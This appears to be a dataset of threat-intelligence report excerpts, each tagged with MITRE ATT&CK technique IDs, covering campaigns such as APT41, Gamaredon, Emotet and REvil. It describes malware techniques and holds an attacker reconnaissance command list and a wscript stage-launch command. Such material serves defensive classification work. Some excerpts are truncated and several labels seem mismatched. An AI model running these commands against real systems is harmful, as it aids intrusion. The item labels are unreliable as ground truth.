+In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. The hash algorithm has been replicated in Python below	['T1547.001']
+It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage	['T1059.001']
+In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. Also, its configuration is encrypted and is not base64 encoded anymore	['T1560']
+The “sysid” parameter contains a campaign ID in newer versions of the malware, the Windows version running on the infected machine, system architecture, username, and a random integer	['T1082']
+Two days later, a second email — purportedly a warning from a Pakistani military about the Pegasus spyware — containing a cutt.ly link to a malicious encrypted Word document and the password for decryption will be sent to the target. The sender address impersonates a service similar to that on the first email (alert@ispr.gov.pk	['T1566.002']
+Key points PureCrypter is a fully-featured loader being sold since at least March 2021 The malware has been observed distributing a variety of remote access trojans and information stealers The loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus softwar	['T1547.001']
+The Gamaredon group has been active since at least 2013. Contrary to other APT groups, the Gamaredon group seems to make no effort in trying to stay under the radar. Typical Gamaredon compromise chain . While most of the recent publications have focused on the spearphishing emails together with the downloaders they contain, this blogpost focuses on the post-compromise tools deployed on these systems. Office macro injection module – CodeBuilder . We analyzed different variants of malicious modules used by the Gamaredon group to inject malicious macros or remote templates into documents already present on the compromised system. It then scans for documents with valid Word or Excel file extensions on all drives connected to the system. The most prevalent tools downloaded and installed on compromised machines can be broadly grouped into two different categories: downloaders and backdoors. Backdoors – file stealers . While some variations exist in functionalities, the main purpose of these modules is to enumerate all documents on a compromised system and upload them to the C&C server. The behavior of this module is quite straightforward: it scans the system for new Microsoft Office documents, both on local and removable drives, and uploads them to the C&C server. Quality of execution . We were able to collect numerous different samples of malicious scripts, executables and documents used by the Gamaredon group throughout their campaigns. Conclusion . Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module	['T1119']
+Emotet is an advanced, modular banking Trojan that primarily functions as a downloader or dropper of other banking Trojans. Additionally, Emotet is a polymorphic banking Trojan that can evade typical signature-based detection. It has several methods for maintaining persistence, including auto-start registry keys and services. Furthermore, Emotet is Virtual Machine-aware and can generate false indicators if run in a virtual environment	['T1547.001']
+The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop. This malware family used the new mutex ‘com_mycompany_apps_appname_new’. This variant of BADNEWS uses different filenames compared to previous versions. All of these files reside in the victim’s %TEMP% directory: Other changes we noticed in this variant include how the malware obfuscates C2 information stored via dead drop resolvers. BADNEWS performs many of the expected functions associated with previous versions including keylogging and identifying files of interest. Unlike a previously reported variant, this version of BADNEWS no longer looks at USB drives for interesting files. It continues to seek out files with the following extensions: In order to prepare for C2 communication, BADNEWS will aggregate various victim information, which is appended to two strings. C2 communication is also updated from prior versions, with the following commands now supported by BADNEWS: During C2 communications, BADNEWS will communicate to the C2 previously identified via HTTP. Through the use of relatively new exploits, as well as a constantly evolving malware toolset, they aim to compromise prominent organizations and individuals to further their goals. One of the malware families tied to this group, BADNEWS, continues to be updated both in how it uses dead drop resolvers, as well as how it communicates with a remote C2 server	['T1105']
+Fast-paced intrusion • Very stealthy • Rapidly changing tactics • Employed advanced attack techniques 4) 4. All rights reserved.23 Our Response: Tackled Attacker WMI Usage ADVANCED ATTACK TECHNIQUES 24) 24. Captured entire functions of PS scripts, attacker commands, script output, etc. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. All rights reserved.25 Our Response: Increased PowerShell Visibility ADVANCED ATTACK TECHNIQUES 26) 26. All rights reserved.27 Our Response: Addressed Ticket Attacks ADVANCED ATTACK TECHNIQUES Event ID 4624 Event ID 4672 Event ID 4634 28) 28. All rights reserved.29 BONUS SLIDE: Even More WMI + PS FUN FACT: We saw the attacker test this backdoor before deployment 30) 30	['T1550.003']
+Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN). Discord’s CDN is a user-created service that allows users to host attachments and is not malicious. The hosted file is retrieved from the following URL	['T1102']
+Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library (.dll) files. The malware uses a custom binary protocol to beacon back to the command and control (C2) server, often via TCP port 8080 or 8088, with some payloads implementing Secure Socket Layer (SSL) encryption to obfuscate communications	['T1573.002']
+Encrypting the data. Exfiltrating gathered data through a POST request or by uploading it to an FTP server. Sending execution logs to a remote server	['T1048.003']
+Spreadsheets and documents with customer lists, investments and trading operations - Internal presentations - Software licenses and credentials for trading software/platforms - Cookies and session information from browsers - Email credentials - Customer credit card information and proof of address/identity documents	['T1539']
+The C# variant of RogueRobin attempts to detect if it is executing in a sandbox environment using the same commands as in the PowerShell variant of RogueRobin. The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system. The Trojan also checks to see if a debugger is attached to its processes and will exit if it detects the presence of a debugger	['T1047', 'T1497.001']
+APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc. Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts. In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment. To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip	['T1547.001', 'T1021.004', 'T1018', 'T1560.001', 'T1021.001', 'T1090.001']
+is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate	['T1115']
+At this time, Janicab is not detected by most anti-virus software, and it slips right past the built-in defenses of Mac OS X in the hands of an unobservant or unsavvy user. Further, seeing other malware using a signed app is troubling, as it may indicate that Gatekeeper will not offer as much security as had been hoped for	['T1553.002']
+All this information is stored in the C:\Users\Public\Videos\si.ini file and sent in an email message, as an attachment, via SMTPS, using the default port 465. The email body contains the string SI (which probably stands for System Information), the recipient is sym777.g@post.cz. For all email exchange, the message’s Subject: set to the id	['T1074.001']
+If no exceptions occur, the Windows executable drops a DLL file in the user's AppData\Local\Temp\ directory, creates a randomly-named folder under C:\ProgramData\ directory and moves the DLL under that folder as a random file name. This Redaman DLL is made persistent through a scheduled Windows task with the following properties	['T1036.004']
+This report provides background on Windows container vulnerabilities, gives a technical overview of Siloscape and offers recommendations on best practices for securing Windows containers	['T1068']
+Fine-tuning DaserfOur analyses revealed Daserf regularly undergo technical improvements to keep itself under the radar against traditional anti-virus (AV) detection. Daserf 1.72 and later versions use the alternative base64+RC4 to encrypt the feedback data, while others use different encryption such as 1.50Z, which uses the Ceasar cipher (which substitutes letters in plaintext with another that corresponds to a number of letters, either upwards or downwards	['T1027.002', 'T1027.005', 'T1027']
+MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as Gamaredon	['T1105', 'T1608.001', 'T1059.001', 'T1059.005']
+At first glance, these links generally cause less suspicion for the targets. After opening the links and several redirections, the victims are led to final phishing domains such as “mobile[.]recover-session-service[.]site” etc	['T1583.001']
+On July 18, 2018, one day after the AZORult update above was announced, we observed a campaign delivering thousands of messages targeting North America that used the new version of AZORult. The messages used employment-related subjects such as “About a role” and “Job Application”. The attached documents used file names in the format of “firstname.surname_resume.doc	['T1140']
+The final payload created by the aforementioned process is a well known backdoor, also known as ROKRAT by Cisco Talos. One of its main functions is to steal information. Upon execution, this malware creates 10 random directory paths and uses them for a specially designated purpose	['T1083']
+The executables installed by the compiled AutoIt scripts is a backdoor that Molerats has used in many attack campaigns. Based on our research, the Spark backdoor has been used by Molerats since at least early 2017, as it was the main payload in the Operation Parliament campaign reported by Kaspersky	['T1218.007']
+To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail. random number between 100000 and 999999>.<c2 name> This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake	['T1016']
+Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. There are several variations of the algorithm used to calculate the C2 port, but one of the most common is to multiply the first two octets of the IP address and add the third octet to that value. Numbered Panda will frequently use blogs or WordPress in the c2 infrastructure, which helps to make the network traffic look more legitimate. CrowdStrike has observed Numbered Panda targeting high-tech, defense contractors, media organizations, and western governments. Disclosure of this information went through the same IGL process as discussed in the Whois Anchor Panda blog post	['T1102.002']
+To perform this task, the developer used the GDI API: A keylogger is also present in the analyzed sample. The SetWindowsHookEx() API is used to retrieve the stroked keys. The GetKeyNameText() API is used to retrieve a string that represents the name of a key. In addition to the key, the title of the foreground window is stored in order to known where the infected user is typing (by using the GetForegroundWindow() and GetWindowText() API	['T1010']
+Key Points PrivateLoader is a downloader malware family that was first identified in early 2021 The loader’s primary purpose is to download and execute additional malware as part of a pay-per-install (PPI) malware distribution service PrivateLoader is used by multiple threat actors to distribute ransomware, information stealers, banking t	['T1105']
+AT&T Alien Labs has discovered new malicious files distributed by the threat actor TeamTNT. The use of open-source tools like Lazagne allows TeamTNT to stay below the radar for a while, making it more difficult for anti-virus companies to detect	['T1082', 'T1049']
+It also creates a pipe for inter-process communication (IPC) by calling the pipe() function for getting two file descriptors for reading and writing data. It also enables non-blocking I/O for the writing file descriptor by using ioctl	['T1559']
+The threat actor abused the stolen credentials to create rogue, high-privileged domain user accounts which they then used to take malicious action. By creating these accounts, they ensured they would maintain access between different waves of the attack. Once the threat actor regains their foothold, they already have access to a high-privileged domain user account	['T1078', 'T1136.002']
+Since September of 2018, Redaman banking malware has been distributed through malspam. These emails have file attachments. These file attachments are archived Windows executable files disguised as a PDF document. In September 2018, the attachments were zip archives. In October 2018, the attachments were zip archives, 7-zip archives, and rar archives. In November 2018, the attachments were rar archives. And in December 2018, the attachments changed to gzip archives with file names ending in .gz	['T1027', 'T1566.001', 'T1036']
+Volexity has worked with multiple victim organizations to assist with incident response efforts and to remedy their compromised systems. This process lead to the identification of different ways the OceanLotus group gains access to the compromised websites and how they maintain access	['T1505.003']
+Anomali Labs has detected a new campaign by the threat group Rocke. In this campaign, the group has changed from using a Python-based malware to a malware written in Golang. The detection of this new malware is nearly non-existent. In addition, the group uses a private mining pool to reduce the risks of being detected	['T1059.006']
+Winnti Linux variant’s core functionality is within ‘libxselinux’. Upon execution, an embedded configuration is decoded from the data section using a simple XOR cipher. An example Python function to decode this configuration is shown below	['T1027', 'T1140']
+Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009. The group is responsible for many high profile attacks in the past and has gained worldwide attention. The Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new campaign on Jan 18th 2022	['T1105']
+The payload is an application that creates a hidden window (the name of the class and the window is SK_Parasite	['T1564.003']
+kaudited — A file installed as /usr/bin/kaudited. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions. The kaudited binary also drops a watchdog component that will monitor the cryptocurrency miner file and process	['T1105']
+These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control	['T1078.002']
+TIN WOODLAWNTIN WOODLAWN is a targeted threat group, active since at least 2014, that CTU researchers assess with moderate confidence is operated or tasked by the Vietnamese government. TIN WOODLAWN is technically capable and uses a range of techniques including template injection, obfuscated macros and steganography for malware delivery, memory-resident malware, use of native command line scripts for Cobalt Strike persistence, and non-standard command and control channels such as DNS and ICMP.ToolsTaegis™ XDR Adversary Software Coverage Tool	['T1059.001']
+As mentioned in our earlier technical report on Trojan.Hydraq, the back door allows the attacker to perform any of the following activities: - Adjust token privileges. Create, modify, and delete registry subkeys. Retrieve a list of logical drives. Uninstall itself by deleting the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[FOUR RANDOM CHARACTERS] subkey	['T1012']
+Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer	['T1566.001']
+The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. Prior to execution, the PowerShell scripts were stored Base64-encoded in the registry	['T1059.003']
+A typical response from the C2 server is a legitimate-looking webpage containing the string “!DOCTYPE html”, which the malware checks. The malware then locates a Base64-encoded blob, which it decodes and proceeds to load as a shellcode	['T1140']
+One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Morphisec has investigated different samples from the same campaign. The following analysis presents our findings, focusing on the additional sophistication patterns and attribution patterns	['T1059.007']
+The malware will collect data from the victim machine and write this information to LOCALAPPDATA%\MicroSoft Updatea\uplog.tmp. The following information is collected from the victim	['T1074.001']
+"Like most ransomware, Sodinokibi encrypts files and adds a random extension such as “test.jpg.1cd8t9ahd5” (Data Encrypted for Impact, ATT&CK T1486). It also drops a ransom note in folders that contain encrypted files. The name of the ransom note is the random extension added to the encrypted files. For example, if the extension is "".1cd8t9ahd5"", the ransom message filename will be called ""1cd8t9ahd5-HOW-TO-DECRYPT.txt"	['T1486']
+The DUBNIUM samples are distributed in various ways, one instance was using a zero-day exploit that targets Adobe Flash, in December 2015	['T1203']
+The payload decryption routine uses a custom symmetric algorithm based on arithmetic and byte-shift instructions – a combination of SHL/SHR/SUB/ADD/XOR – with hardcoded keys	['T1140']
+This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through service providers. For more information on infection via service providers see M-Trends 2016). APT10 spear phishes have been relatively unsophisticated, leveraging .lnk files within archives, files with double extensions (e.g. Redacted]_Group_Meeting_Document_20170222_doc_.exe) and in some cases simply identically named decoy documents and malicious launchers within the same archive	['T1204.002']
+Malicious web shell activity as observed in the Cybereason solution. Commands executed via a modified version of the China Chopper web shell	['T1059.003', 'T1505.003']
+This campaign is different from prior activity because a new dropper was observed being used by Rocke that is written in Go (Golang) instead of Python. The detection for the malware on VirusTotal (VT) is nearly non-existent. Figure 1, below, shows the detections for the most recent sample submitted to VT. It can be seen that only one engine successfully detected it as malicious	['T1057']
+On June 12, QakBot continued its evolution. The delivery method of a .ZIP file to malicious .VBS was the same, but this time QakBot also dropped a Zloader payload on its victim. Beginning around 14:24 UTC, Falcon Complete observed QakBot threat actors using a new .VBS payload	['T1059.005']
+While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://<c2 domain>/chk. hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value <hex(Environment.UserName/Environment.MachineName)> if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://<c2 domain>/what. hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit	['T1041']
+Replying to @ESETresearchAttackers replaced win_fw.dll, an internal component that is executed during IDA Pro installation, with a malicious DLL. The malicious win_fw.dll creates a Windows scheduled task that starts a second malicious component, idahelper.dll, from the IDA plugins folder	['T1036.004', 'T1574.002']
+"The maldocs used in this campaign typically contain a malicious VBA macro that downloads and activates the next stage of the infection chain. Although the VBA macro contains an auto open subroutine, it uses several VBA functions registered to trigger if the ""Typing replaces selection"" property is enabled in Microsoft Word. Appdata%\desktop.iniThe next stage of the VBS is run using wscript.exe using a command such as:%windir%\System32\wscript.exe //e:vbscript //b <path_to_Stage_2>Macros dropping VBS to disk and running via wscript.exe"	['T1140']
+The injection function is responsible for resolving all the required API calls. It then opens a handle to the target process by using the OpenProcess API. It uses the SizeOfImage field in the NT header of the DLL to be injected into allocated space into the target process along with a separate space for the init_dll function. The purpose of the init_dll function is to initialize the injected DLL and then pass the control flow to the entry point of the DLL. One thing to note here is a simple CreateRemoteThread method is used to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro	['T1104']
+SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. SDBbot is composed of three pieces: an installer, a loader, and a RAT component	['T1055.001', 'T1105']
+This would save them the trouble of needing to load additional malware to exfiltrate files or other material. We are aware of no evidence of follow-up interactions between the operators and successful victims as part of any extortion attempts. Furthermore, Stealth Falcon’s use of JavaScript to profile and de-anonymize victims seems inconsistent with a primary motivation of collecting information that could be used for blackmail	['T1005']
+Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container	['T1134.001']
+One unique and fairly recent variant is a plain downloader that follows a similar convention to the aforementioned MarkiRAT implants. It also leverages MFC and embeds its logic within a CDialog class, getting executed upon initiation of an MFC dialog object during runtime. The use of this sample diverges from those used by the group in the past, where the payload was dropped by the malware itself, suggesting that the group might be in the process of changing some of its TTPs	['T1071.001']
+The implementation details of Seaduke also have some similarities to WellMess, as both use encrypted cookies to transfer metadata about the data being sent and use obfuscated base64 data in HTTP requests as the contents of communications. These techniques are not unique to Blue Kitsune but provide an interesting correlation between the WellMess backdoor and Blue Kitsune tools used since 2015	['T1071.001']
+1) The group delivers a malicious Office lure document to victims, most likely via a spear-phishing email. 2) These lure documents use titles with government, military, and diplomatic themes, and the file names are written in English or Cyrillic languages. These documents are not very sophisticated, but evidence of infections shows that they’re effective	['T1566.001']
+In past attacks, the Ragnar Locker group has used exploits of managed service providers or attacks on Windows Remote Desktop Protocol (RDP) connections to gain a foothold on targeted networks	['T1569.002', 'T1543.003']
+DOMAIN} nltest /domain_trusts /all_trusts net share route print netstat -nao net localgroup qwinsta WMI Query ROOT\CIMV2:Win32_BIOS WMI Query ROOT\CIMV2:Win32_DiskDrive WMI Query ROOT\CIMV2:Win32_PhysicalMemory WMI Query ROOT\CIMV2:Win32_Product WMI Query ROOT\CIMV2:Win32_PnPEntity - whoami /all - arp -a - ipconfig /all - net view /all - cmd /c set - - nltest /domain_trusts /all_trusts - net share - route print - netstat -nao - net localgroup - qwinsta - WMI Query ROOT\CIMV2:Win32_BIOS - WMI Query ROOT\CIMV2:Win32_DiskDrive - WMI Query ROOT\CIMV2:Win32_PhysicalMemory - WMI Query ROOT\CIMV2:Win32_Product - WMI Query ROOT\CIMV2:Win32_PnPEntity	['T1047']
+Once gaining the initial foothold into a container, Hildegard establishes either a tmate session or an IRC channel back to the C2. It is unclear how TeamTNT chooses and tasks between these two C2 channels, as both can serve the same purpose. Unit 42 researchers have not observed any commands in the IRC channel. However, the IRC server's metadata indicates that the server was deployed on Jan	['T1071']
+Grants system privileges via Windows services - Uses DLL sideloading technique to evade security solutions - Starts and injects code to a new svchost process to prevent tracking	['T1543.003', 'T1055']
+This component overwrites the master boot record (MBR) of an infected host with a malicious 16-bit bootloader with a SHA256 hash of	['T1561.002']
+Analysis of BRONZE BUTLER's operations, targeting, and capability led CTU researchers to assess that it is likely that the group is located in the PRC. The group has used spearphishing, strategic web compromises (SWCs), and an exploit of a zero-day vulnerability to compromise targeted systems. After exfiltrating targeted data from a network, BRONZE BUTLER typically deletes evidence of its activities. However, it maintains access to compromised environments when possible, periodically revisiting compromised sites to identify new opportunities for data exfiltration	['T1087.002']
+Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB	['T1560.003', 'T1074.001']
+The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen	['T1087.001', 'T1098', 'T1136.001', 'T1564.002']
+At this point the C2 sends a JSON with commands to execute, including uploading/downloading files, taking a screenshot and finding *.rar archives on the host	['T1041']
+The captured sample used in this analysis is an MSI file named “view-(AVISO)2020.msi” that is spread through a ZIP archive, just as with the previous variant. In the previous analysis, I showed that this MSI file is parsed and executed automatically by MsiExec.exe when a user double clicks on it in Windows OS	['T1218.007']
+After gaining an initial foothold on a compromised system, the NICKEL actors routinely performed reconnaissance on the network, working to gain access to additional accounts or higher-value systems. NICKEL typically deployed a keylogger to capture credentials from users on compromised systems	['T1070', 'T1114.002']
+"In 2011, while still at McAfee, he went on to reveal Comment Crew (which he calls Comment Panda) operating alongside Elderwood. It's called that because the group so often uses a technique involving internal software ""comment"" features on web pages as a tool to infiltrate target computers"	['T1189']
+The threat actor initially conducts system reconnaissance to assess the AV software installed and the user privilege	['T1518.001']
+We observed the threat group upload a second stage malware, known as BUBBLEWRAP (also known as Backdoor.APT.FakeWinHTTPHelper) to their Dropbox account along with the following command	['T1049', 'T1069.001']
+Finally, it deletes Shadow Volume Copies and prevent the victim from using Shadow Volumes to recover their encrypted files	['T1047', 'T1490']
+Deriving C2 URLs from a Domain Generation Algorithm (DGA) using lists of domain names, subdomains, top-level domains (TLDs), Uniform Resource Identifiers (URIs), file names, and file extensions	['T1568.002']
+These fake updates are served via legitimate websites that have been compromised, and use social engineering to trick users into downloading and running a malicious executable. These fake update campaigns appear to be a pay-per-install service that is simply used by INDRIK SPIDER to deliver its malware, as other malware has also been delivered via the same campaigns	['T1105']
+Although the developers attempt to use a denylist of files and directories to skip, it was observed encrypting core Windows operating system files, which caused the operating system to become unstable and crash. This was observed when running the ransomware on a Windows 2012 machine	['T1486']
+In a new sample of the REvil ransomware discovered by MalwareHunterTeam, a new -smode command-line argument was added that forces the computer to reboot into Safe Mode before encrypting a device	['T1562.009']
+The BackConfig custom trojan has a flexible plug-in architecture for components offering various features, including the ability to gather system and keylog information and to upload and execute additional payloads	['T1105', 'T1082']
+Since then, the threat actors have expanded delivery to include malicious spam campaigns, RDP attacks, and other attack vectors. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers	['T1566']
+The following diagram illustrates the changes applied to targeted executables after infection has taken place and how these components interact on execution	['T1091']
+Basic system enumeration – The script collects the Windows OS version, computer name, and the contents of a file Ni.txt in $APPDATA path; the file is presumably created and filled by different modules that will be downloaded by the main module	['T1082']
+Starting with a simple scan, the first information that the malware can collect is related to files with the following extensions: .docx, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .bmp, .tiff. For each file found on the disk, it retrieves the full path and the last modified date of the file. That information is encrypted using the AES key mentioned earlier and stored in the file 0.txt. Another scan targets the extensions .dat, .json, .db and like the previous scan it retrieves the full path and last modified date of the file. Then it encrypts them and it stores it under the file 57.txt	['T1119']
+Reports system hardware and software configuration. This built-in utility is a command line version of the System Information.app (/Applications/Utilities/System Information.app) and is a mainstay of all types of malware, spyware, post-exploitation tools, adware, and PUPs. Because of its deep insight into the entire environment, it can be used for a variety of purposes relating to environment discovery, detection evasion and anti-analysis	['T1082']
+As seen in the above screenshot, there is a large overlap in unique strings in both samples. The original sample involved in the forbes.com breach used HTTP, which is consistent with the original variant discussed in this blog post. It should be noted that while the newest variant that uses direct network communication over port 22 no longer uses HTTP, references to the HTTP strings are still found within the sample itself. This is most likely due to code re-used by the attackers	['T1140']
+In late July 2021, we identified an ongoing spear phishing campaign pushing Konni Rat to target Russia. Konni was first observed in the wild in 2014 and has been potentially linked to the North Korean APT group named APT37	['T1566.001']
+The orchestrator is the main component of the Carbon framework. It is mainly used to inject code into a process that communicates legitimately over the Internet and to dispatch the tasks received from the injected library to other computers on the same network either through named pipes or TCP	['T1055.001']
+The HTTP variant checks if Kaspersky is installed on the victim’s machine by searching for the existence of files in the Kaspersky installation folder	['T1518.001']
+The Zebrocy Trojan gathers system specific information that it will send to the C2 server via an HTTP POST request to the above URL. Like other Zebrocy samples, this Trojan collects system specific information it will send to the C2 server by running the command SYSTEMINFO & TASKLIST on the command line and by enumerating information about connected storage devices. This specific variant of Zebrocy will also send a screenshot of the victim host as a JPEG image to the C2 server	['T1113', 'T1057', 'T1120', 'T1082']
+PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage	['T1218.005']
+We observed a number of phishing emails that reference an invoice, as seen in Figure 1. The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor	['T1566.001']
+These are later used by the attackers to send targeted emails to the victims, with the obtained information being used to lure victims into opening those emails	['T1135']
+The trojanized update file is a standard Windows Installer Patch file that includes compressed resources associated with the update, including the trojanized SolarWinds.Orion.Core.BusinessLayer.dll component	['T1036.005']
+Cisco Talos has observed another malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread the remote access trojan (RAT) ObliqueRAT. ObliqueRAT has been linked to the Transparent Tribe APT group in the past	['T1566.001', 'T1566.002']
+Xbash is a novel and complex Linux malware and the newest work of an active cybercrime group. From its characteristics and behaviors, we could realize many trends in current IoT/Linux security battleground	['T1053.003']
+Once we deobfuscated it, we found that the script contained a large array of hard coded domain names, with one of them being randomly selected and used for subsequent DNS queries. It is important to note that while the Powershell scripts for stages 3 and 4 contain two arrays of domains, the first array is only used if a failure condition is reached while the sample is using the second array. Figure 8: Stage 3 Domain List The 'logic' function present within this Powershell script randomly selects a C2 domain from the second array in the script and uses this domain to perform an initial lookup. If the result of the initial DNS TXT record request is empty or in the case the lookup fails, the 'do_lookup' function is then called and randomly selects a domain from the first array in the script. Interestingly, the domains used by the 'do_lookup' function did not appear to have active 'www' or 'mail' TXT records. The script also uses specific subdomains which are combined with the domains and used for the initial DNS TXT record queries performed by the malware. The malware uses the contents of the TXT record in the response to these queries to determine what action to take next. For instance, the first subdomain is 'www' and a query response with a TXT record containing 'www' will instruct the script to proceed. The response to this DNS request results in the transmission of the fourth stage malware, stored within the TXT record as displayed in Figures 10 and 11. Due to the size of the Stage 4 payload, DNS makes use of TCP for this transaction	['T1071.004']
+It writes a file using two data structures: one associated with the file and other used for reading data from the C&C	['T1070']
+The only way to ensure that deleted files, as well as files that you encrypt with EFS, are safe from recovery is to use a secure delete application. Secure delete applications overwrite a deleted file's on-disk data using techniques that are shown to make disk data unrecoverable, even using recovery technology that can read patterns in magnetic media that reveal weakly deleted files. SDelete (Secure Delete) is such an application. Note that SDelete securely deletes file data, but not file names located in free disk space	['T1070.004', 'T1485']
+Download and execution of ntbscan (SHA-1: 90da10004c8f6fafdaa2cf18922670a745564f45) – NetBIOS scanner tool widely used by multiple APT actor including the prolific Chinese group APT10 - Execution of Windows built-in networking utility tools - Access to the victim’s files, especially documents located on the Desktop	['T1083']
+Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. The group has at least four new trojanized setup files we observed: Firefox (a browser), VPNpro (a VPN client), DriverPack (a pack of drivers) and 5kPlayer (a media player). How did it work. Talos could not pinpoint the initial attack vector, however, the use of trojanized installation files to well-known applications is consistent with the previously documented campaigns. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. PROMETHIUM has been resilient over the years. We have no evidence that the websites of the real applications were compromised to host the malicious installer. We can conclude that the PROMETHIUM threat actor is interested in new countries or the malicious framework developed by this threat actor is exported in more countries than previously thought. The usage of the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The malicious service: rmaserv.exe . This binary has two main features. Conclusion . The PROMETHIUM threat actor is dedicated and resilient, exposing them hasn't refrained them from moving forward with their agenda	['T1036.005']
+As part of Reflective DLL loading the malware performs the following tasks on the DLL it has unwrapped in memory: Copy the unwrapped DLL into new locations in its own memory space. Build imports required by the DLL (based on the IAT of the DLL) - Copy the unwrapped DLL into new locations in its own memory space. Build imports required by the DLL (based on the IAT of the DLL	['T1055.001']
